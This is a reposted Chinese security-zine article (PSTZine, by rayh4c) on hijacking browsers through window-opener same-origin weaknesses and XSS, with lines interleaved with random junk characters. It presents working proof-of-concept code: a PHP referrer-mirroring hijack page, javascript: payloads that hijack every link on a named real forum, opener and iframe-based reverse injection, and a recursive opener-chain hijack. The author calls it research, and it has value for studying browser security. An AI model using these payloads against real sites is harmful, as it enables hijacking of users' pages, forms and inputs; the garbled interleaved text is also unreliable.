中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
+ U+ l+ L Z! W; L
5 a& y+ h* ^1 Z" @! N4 k
Issue 0x03, Phile #0x05 of 0x07
7 w2 l# n. F ]' {/ h# \8 q
6 e1 d% M: a: ?/ Y; H
9 e0 c) ^& X4 C7 b3 {- k
|=---------------------------------------------------------------------------=|
; z0 L' {, M. @- ]! U( s
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
6 o* v, {4 { `% _% w6 x
|=---------------------------------------------------------------------------=|
9 b! A( ^, {: P0 }- p2 ]+ k9 R3 e; r8 ~
|=---------------------------------------------------------------------------=|
5 X9 C) m/ t' N# s% o
|=------------------------=[ By rayh4c ]=---------------------------=|
! F) i6 H2 t& P, d0 g( Y: @
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
$ }/ V# ^9 C( Z) `3 ^# R
|=---------------------------------------------------------------------------=|
, E, t2 z9 K) H" ^: G
/ q [, D2 L$ ^6 ~5 ? Y
/ c1 ` Y9 t& l2 P( r% c
[目录]
5 _) s7 M) m! C2 h* ?, l
& ~6 ^+ `1 K, N5 w2 {
1. 前言
5 M/ G0 A' K5 k- ^
2. 同源策略简叙
0 Q" u- [% i- X4 w; V; t
3. 理解window对象的同源策略
' Y) q# [8 C- f4 x7 ~
4. 窗口引用功能中的同源策略漏洞
, J4 ]" X% z- A& {. {
4.1 父窗口引用子窗口的同源策略问题
: E- O: E! m" C6 l
4.2 子窗口引用父窗口的同源策略问题
& s) @ h; r! t% r
5. 利用窗口引用漏洞劫持浏览器
! n6 n" V. j" F) p8 V- [* M
6. 利用XSS漏洞劫持浏览器
6 Z0 W4 v9 ]4 E2 s1 E7 v
6.1 正向跨窗口劫持
0 l2 w8 g) g6 P% H& G' j& E
6.2 反向跨窗口劫持
' ^$ s( h1 W& Z5 `5 i
6.3 极度危险的跨框架窗口引用劫持
$ ~6 \6 q8 {! K7 l
6.4 极度危险的正反向跨窗口递归劫持
9 ]6 l4 x, O% W& k
6.5 完全控制浏览器
, L) n& L' [2 K ~$ r2 g% y
7. 后记
) w7 @5 Z$ U% w+ A
8. 参考
# Y+ k6 l0 d$ t3 X, i) Q: o
* V4 W5 j+ b& t, p! E0 p
; ~4 @" E; f0 y* u" d2 U+ F
一、前言
( e4 p3 A* i( ?3 W4 P
9 d! s8 h& F5 M' g" G. R% T+ ]( y
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
5 K; q7 m* f9 O* `
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
' b1 m. d4 G9 f# N, R# |1 D+ s6 k
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
: D( Z; Q; U) b# c: o4 N" D4 x
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
2 ^# g1 N7 c! f
' D( }/ {- f2 E
/ l, I/ y- q2 p
二、同源策略简叙
. C7 v+ J- J: K- @
) Z" w, z% {# M2 } K) U4 O9 f! b
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
3 f, B9 z z, [: o1 E& I/ M
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
0 K. x; Q6 Y7 ] R) \
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
( w9 ~5 N9 V& ]6 S' f( H
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
) `! @% Q! _2 y& C2 }
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
/ ~1 i5 w' ?/ v7 i
& z& E+ |: O/ F0 h, ^
+ t4 e+ V8 O. @' ?8 B+ h
三、理解window对象的同源策略
8 l- Z( R+ R: h8 v5 e
; y! T- k' n2 f. ~2 v v5 W. r& @$ ]* m& ~
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
1 ~: @3 Q) Y Z& G0 c2 n2 @ ^
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
: R. P' a; S4 z
2 C4 K3 Q+ p# h8 b, h
--code-------------------------------------------------------------------------
+ q/ a3 z4 T) _) U* T
<script language="javascript">
7 V3 {8 B' i. z& }7 y- [, c
for(p in window) document.write(p+"<br>");
7 r" _9 a6 b* F+ N( z, F5 \ r
</script>
& L% ?& u( x. j; s
-------------------------------------------------------------------------------
4 F$ X9 H9 r( d* @6 X
6 H. k4 L2 j& f1 w- M
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
) S k k9 H- f4 q8 `0 J" `
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
, `& I0 [. J8 k# N) r h# @
这些属性和方法就必须遵循同源策略。
* x. O" E( N* H1 P2 U0 T
: t1 z2 ?* ]2 ~1 h! ^! G
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
" l+ D0 N) P0 {* e& ?1 I
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
9 M* x9 G9 R% L, i/ A/ W1 K- s
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
/ R- O: [8 ] l/ G
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
2 N5 Q: c' a3 H# ~9 b+ c
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
0 i* l: I% Z: i _" @
属性并没有被拒绝访问。
6 w1 ]# }+ p2 [0 Q- [) S7 Q' M$ ^ w
r7 k+ _; P$ p: U7 a3 T |
--demo.html--------------------------------------------------------------------
6 b" Q0 e" U+ b6 @: J1 V' u' @
<script language="javascript">
2 |8 x6 Q2 [% X B% C
function allPrpos(obj) {
$ c# F4 E9 d8 r* o7 ~" j( b- N
var props = "<table><tr><td>名称</td><td>值</td>";
7 Z5 a5 C5 a* f8 f
for(var p in obj){
' D8 K$ A, p) l2 W
if(typeof(obj[p])=="function"){
9 J& \# t3 |. K
obj[p]();
, A1 U" Z- T# D& X0 h. U
}else{
4 d$ O8 @3 N, [" y+ }
try
Z; w* i2 _9 n# h0 R. f: y3 L
{
) D4 B8 k& [5 `9 G
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
0 p9 g3 S0 {) m) B
}
4 o8 z/ D. T* o. j% p$ p" N$ v$ o
catch (ex)
9 E1 S( v! e: J3 Q
{
`1 i% s `$ N2 v
2 ~ J8 k. i j% j. J8 [0 _# T7 I
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
" h: e) W L, L- z# I+ ~
}
$ Q @$ Z0 t: Y
: d7 ]- Q- g5 a
}
1 ^! c, h. k( M( i/ j
}
3 e; ]& Z, @7 q8 i% l
; r" @% | N5 \1 E3 ?3 u% d8 w# n
document.write(props+"</table>");
( |: N2 H( r8 L
}
$ ^& Y/ E# i; T5 T1 [# t
1 Z0 @' [: ]* P) |! m* P$ b, U3 X
function createWin() {
' S6 L+ ]* ?7 \1 } y$ M5 z% s# }
newWin = window.open ("http://www.google.com");
6 f: V* A8 t- j6 ?) S- u% G
setTimeout(function(){allPrpos(newWin)},2000);
0 W1 d; V- ]3 m+ F( T4 I1 F* I9 N; Z
}
$ \0 J1 S7 l+ R5 d* `* M) K% ?( H
5 ~- H0 _4 f2 A2 Q! m& v. y
</script>
/ t/ I8 j7 z: O" `
! l; O( Z4 U$ j6 {
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
- ?: K+ n" d [- U" s7 v, a: j
-------------------------------------------------------------------------------
9 u6 L- G3 b* J
5 |3 V9 ~7 C. F1 U; x4 V8 n. k1 ]
7 u3 D2 P" a& t7 F8 P: N) {
四、窗口引用功能中的同源策略漏洞
) H5 W$ I& }5 q
W \( |1 p5 E5 p& s* u
4.1 父窗口引用子窗口的同源策略问题
5 _3 \/ { N" h# ^8 E" o3 G R" f) J
* f0 _5 ~3 S+ a0 b, q: r6 x& x1 {
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
! U; m. X, W8 d( n$ Y! V; u; \
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
; A; R6 n/ r# @
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
4 F5 w _. `4 c1 X: z
行测试,会发现父窗口可以控制非同源子窗口location属性值。
, ]+ u4 t, f: X& j" Y2 A6 _7 ^2 R
% j( c8 |* V3 Z+ D8 O
--vul1.html--------------------------------------------------------------------
3 j/ g( I6 ?# G3 _! W7 z& j
<script language="javascript">
4 D( ]7 N5 r2 T
function createWin() {
. e( z/ I2 A5 `8 }: i
newWin = window.open ("http://www.google.com");
/ |- g j7 W0 V+ V' h, o8 h
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
/ f+ ]8 R! |3 r- N
}
; c. [9 H' ?; g* m5 }% j( D
</script>
* U, z! [0 }( |, ~( I
! J j& P1 i. i* l/ p
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
# p) g2 i% a( l f
-------------------------------------------------------------------------------
6 C" D5 R) w3 ?9 ~
( H: v+ V/ J* h# ]. |* j( X; V# Q$ j
% P1 K/ P* Q3 l, H9 z
4.2 子窗口引用父窗口的同源策略问题
& b2 o+ L7 K: ?6 X# {
" l# D. j$ l( r7 r, f* F9 {, ~% O
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
0 J+ s) v# l; B5 _+ W2 a
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
z; b. `" ?0 f0 @! Z
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
/ [' i' r0 x- T6 n/ {
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
. ^6 w8 o$ \+ e; N* z
, J( G( f. u% B
--code-------------------------------------------------------------------------
0 X7 z }7 q0 j
$ z2 F" V6 C% m) h
javascript:window.opener.location = "http://www.80sec.com";void(0);
5 m3 e6 T# q5 s" g* m
4 q3 u$ h% `2 x0 j! \: ?9 I
-------------------------------------------------------------------------------
7 Z" k* {0 X8 j' `
$ y0 M, E3 u; S
. v; s X4 w- h7 B7 W& y
五、利用窗口引用漏洞劫持浏览器
1 a5 [/ w# G" s* U8 U1 m6 b0 Z
4 X# v8 i8 ^$ T- z# h7 ^- d
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
7 q8 j7 D) l" h; Z" Y6 ?
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
: U# A: C/ a a- G# B( S8 g6 y
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
1 a3 z$ B3 j3 c' _8 h- K
; I, `: e1 o7 F: U% o3 J* Q/ t
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
. `+ ?5 j. a- J
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
# i- t* f/ a7 {. L, R
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
/ x# N2 R, ?( O/ B
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
! i: h b* P# e( [ O( G
会产生什么可怕的后果。
1 a( T& l! o8 J) D
) `8 {% H0 o C6 r$ U2 ~
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
P' F# Q2 H( }, ~
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
1 t6 m4 N6 i2 J% [# u; O
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
( T) L5 y l) d
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
" w- S# } F R8 n* }9 u4 _" d
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
/ o5 n. |; a. D+ `) P% E* }+ a
. m& f% s3 E7 c
--hjk_ref.php------------------------------------------------------------------
8 M7 l$ O2 D4 U W$ w
<?php
K& D7 K0 }0 t3 Q( M- H6 _, r2 w
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
. E8 N- _% b |& A" l4 o) d* [
$Url_Mirror = $_SERVER["HTTP_REFERER"];
" {. c8 r2 E4 J n
}
# p" L6 |& b' J9 \4 O, o! \9 e# O
if(isset ($_GET['ref'])) {
7 U. l& n7 d0 L( t4 L* k- k
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
' `6 J- U: n+ l% e; b* o, c' U
}
x+ ^ Z" P/ A2 W0 O9 h
?>
7 V2 C. u- E0 ]2 S |" D* q. d
V, {* F1 [4 x# \
<script language="javascript">
! ^7 ~- k; a0 v% u
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
# u$ _5 j/ j& ~ V' l9 ~- T* m
</script>
! I# W% n1 G1 k8 A, k1 h
-------------------------------------------------------------------------------
- Z9 [1 m0 J9 j
1 J3 W6 L; d, S; z! U* N: \- G& i
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
3 n( T( I1 v2 s( ]' d
+ D: x% f, C; {' d' |2 }( C7 c+ I
+ D/ O' t% E4 Q# M& c
六、利用XSS漏洞劫持浏览器
/ M! l( w. f% l: x! K+ t, F0 N
& p I9 |' P- R; @7 a
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
; S" T( W% N/ |
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
6 S- ]: s9 W* r; A+ ~
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
3 A; _7 `9 ]( K! {) o
讨论跨站师的终极技巧:
& k. I$ l6 C1 j- q8 [% h, [% ?8 a
9 D- x' x6 a/ r: Z4 W1 Y* X* V
& D S, U& Z$ G0 A0 w+ \
6.1 正向跨窗口劫持
! D- |( P' Q; M2 s8 O3 K4 ~4 ~
, {, }8 {) U( u3 Q8 T; Y# ^9 M) L7 N
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
9 b! |% t" W, s% n( c, I9 U' I
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
' b8 k7 o5 l: a5 f3 Q# {2 N! D
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
" P, P6 V* F0 R0 A5 W) X: A
框脚本。
$ T2 x9 M+ h9 z1 v
0 A1 p: r/ w3 W) H; O c
--hijack_open.js---------------------------------------------------------------
* t' V9 _' e. P- b `" ^' R
! y: r) l+ S% J9 K7 c' j) ~: ~
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
4 K' _; x! V6 Y; h/ L
6 v" w% K; y! T" C/ W; Z/ P6 X
-------------------------------------------------------------------------------
" b' e) }: J$ f ?
' d6 `: L' }# H; r0 h* g% [
$ ]% ]4 `) K) G. K+ H3 t
6.2 反向跨窗口劫持
9 v7 b* [' D5 v/ I" I9 N
# A( h+ ]( x/ N! p7 B5 H) l
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
/ ]7 n2 ?% u' ?& k) V/ e C8 Z
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
: L+ ]2 `2 {$ ^% L0 L1 o# {
框脚本。
# |; X# u4 e3 y
7 H3 f) L* Q( I; d: f" d$ ]
--hijack_opener.js-------------------------------------------------------------
7 ]$ {) }- B; {' ~: G
7 J0 x- x# B5 j' O; I4 B# U/ ?
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
0 E; R. w8 L" `3 E6 `% w- l( A
$ e. z$ x- c% e$ P; b# |5 T
-------------------------------------------------------------------------------
; C3 X; E7 b* G1 O+ c! @) I8 a
5 B) H( `. e; S+ O
5 O& z3 {# W) o& I; S5 D/ }& m
6.3 极度危险的跨框架窗口引用劫持
2 m! u+ q, w. m/ _) N0 }
; ]2 T) i5 E! G/ T! ~
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
q0 v0 E5 L5 q) w# A# R
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
2 {$ E! G" G9 [6 D
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
4 s% p+ I% x3 V: A$ u& X U
非持久型的XSS,如下:
9 k+ n3 {$ }, T( M- l
2 g. `8 Q4 l4 T$ u K. ^8 K/ m
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
$ ^* t7 H/ ]1 M1 z/ h# w9 v& w
2 X6 ]/ E1 d/ m, D4 p& a" b. ?1 e: `
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
: f/ @% U+ L- \, f4 o" X0 r
注入脚本。
6 `0 K) { f" Y: S' M( S
2 }7 M# `) X: z3 s$ E
--hijack_frame_opener.js-------------------------------------------------------
( U9 r8 f& v8 W9 x% o) V
<script>
0 J" E$ y# n/ A1 C) U; n
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
4 c( X5 X. A: N6 V* b- y
</script>
- F# R$ C6 n, D3 P0 j
-------------------------------------------------------------------------------
4 i" N/ L) T6 L8 q( s- }# N$ R& W
' d2 ~) G6 w6 d H
. q' k! n3 O, v
6.4 极度危险的正反向跨窗口递归劫持
; V1 i7 ?+ [- y) L+ S
+ |( V$ S+ w- W
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
. U& S @5 s7 r! f
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
8 d* B. d- q1 g* ?
异常处理规避之间跨域页面的访问异常,代码如下:
- @- `9 E1 B, D. S' J- m f
D" b- _$ q' b6 G" h; p
--code-------------------------------------------------------------------------
# |3 i& X1 U- t' M9 X+ w( B( l+ h
; L* e: D6 I8 g% [/ S
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% @8 V: J! R" C8 y4 o. h9 W
* P) K' b& u* u9 `$ ?0 _
-------------------------------------------------------------------------------
+ ]# a2 S9 i9 w) a. U$ j$ l# L* C
* u6 w5 l) B: V# h9 s
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
/ ^7 r5 l. c' ^: x& P0 P
以劫持B域之前的A域页面,从而实现“隔空打击”。
- P/ b z+ K% T& |( l6 g4 T" d
e7 M: E: {6 O5 C4 ?$ P& f
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
! v3 G" T/ o' `( o
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
. L7 N4 U/ h$ Z% B1 C$ a0 p
8 C2 K8 k& U! S5 \# w7 I: w
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
! g" H. B, ?8 J/ f
& Q' @6 e; `8 [' f: e8 f2 t# L9 H# m
0 S" f/ ?. r# h8 a, r7 W, N
6.5 完全控制浏览器
' q/ B6 `; H+ e- h$ W5 u
5 Z4 _ w& {" o; F, d
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
4 g# T+ r. g' ]) F
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
/ }- V% a! Q, H
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% ]& A6 D1 i& q1 z) }
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
x+ I0 m- x# O( x6 s
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
, ?1 p8 }' J/ P& b9 K6 [. B
师的终极目标 - 完全控制浏览器。
# a( h$ B9 \, H# k$ j
/ R; i* m6 I* C: T7 z* S7 l7 [- |
) \- f" |/ Q9 d( e$ H2 ?
七、后记
" N/ y N9 E* }. J
+ j! m5 S* e9 B4 q; _. C! ?; c
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
. {( h( h( A. j0 o! G
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
' r+ f( Z' i, ?7 E
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
" t7 Z R; D- ~. w/ u
9 |) A( W9 l1 b
, |& l% u t: N, F! C. H$ {+ ]( Y
八、参考
6 q+ @" K2 L$ u" ~& s: ?1 s7 ^5 g
; p2 A: R R. Y# |/ ~$ `7 V
1.
http://en.wikipedia.org/wiki/Same_origin_policy
% |9 C3 V2 ]# k5 F4 h6 G4 A
2.
http://code.google.com/p/browser ... licy_for_DOM_access
9 P9 K8 O0 C- F# Y8 G9 x6 [
3.
http://www.w3.org/TR/Window/
3 z1 ^' L- _0 k6 l. d8 H
4.
http://www.80sec.com/release/browser-hijacking.txt
% {$ W1 ^& f% l! a& m5 A+ k8 K
5.
http://www.80sec.com/all-browser-security-alert.html
: b- a- v9 t) G' L$ d
6.
http://www.80sec.com/ms08-058-attacks-google.html
# _$ G" C3 v8 @2 o7 M3 J6 T; L
6 Q% i- h# _3 L, h H4 \" H( M
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2